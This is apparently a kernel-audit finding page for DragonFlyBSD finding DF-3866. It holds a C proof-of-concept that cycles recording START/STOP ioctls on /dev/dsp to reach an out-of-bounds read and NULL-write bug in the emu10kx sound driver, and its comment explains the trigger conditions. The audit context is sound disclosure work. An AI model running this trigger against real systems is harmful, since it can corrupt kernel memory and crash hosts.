⬢ DragonFlyBSD Kernel Audit
DF-3866 / rec_cycle.c
← back to finding ↓ download raw
/*
 * DF-3866 — userland rec-channel START/STOP cycle against /dev/dsp.
 *
 * On real emu10kx hardware: every PCMTRIG_START calls
 * emu_intr_register() and every STOP calls emu_intr_unregister()
 * (emu10kx-pcm.c:983/992). Once the 32-slot ihandler pool is
 * exhausted (root: kldload/kldunload cycling leaks one slot per pcm
 * child because emu_pcm_uninit never unregisters the card-level
 * handle registered at emu10kx-pcm.c:1453), START stores -1 in
 * ch->ihandle and STOP calls emu_intr_unregister(sc, -1) ->
 * sc->ihandler[-1] OOB read + NULL-write cluster (emu10kx.c:956-967).
 *
 * On this QEMU guest there is no Creative Labs PCI device, so this
 * program stops at the hardware gate.
 */
#include <stdio.h>
#include <stdlib.h>
#include <fcntl.h>
#include <unistd.h>
#include <errno.h>
#include <string.h>
#include <sys/ioctl.h>
#include <sys/soundcard.h>

int
main(int argc, char **argv)
{
	const char *dev = (argc > 1) ? argv[1] : "/dev/dsp0";
	int cycles = (argc > 2) ? atoi(argv[2]) : 100;
	int fd, i, trig, fmt = AFMT_S16_LE, speed = 48000;

	fd = open(dev, O_RDONLY);
	if (fd < 0) {
		printf("GATE: cannot open %s: %s\n", dev, strerror(errno));
		if (errno == ENOENT || errno == ENXIO)
			printf("GATE: target device absent -> trigger "
			    "impossible on this guest (no emu10kx hw)\n");
		return (77);
	}
	if (ioctl(fd, SNDCTL_DSP_SETFMT, &fmt) < 0 ||
	    ioctl(fd, SNDCTL_DSP_SPEED, &speed) < 0) {
		perror("SETFMT/SPEED");
		close(fd);
		return (1);
	}
	for (i = 0; i < cycles; i++) {
		trig = PCM_ENABLE_INPUT;	/* START: emu_intr_register */
		if (ioctl(fd, SNDCTL_DSP_SETTRIGGER, &trig) < 0) {
			perror("SETTRIG start");
			break;
		}
		trig = 0;			/* STOP: emu_intr_unregister */
		if (ioctl(fd, SNDCTL_DSP_SETTRIGGER, &trig) < 0) {
			perror("SETTRIG stop");
			break;
		}
	}
	printf("completed %d START/STOP cycles (hardware path only)\n", i);
	close(fd);
	return (0);
}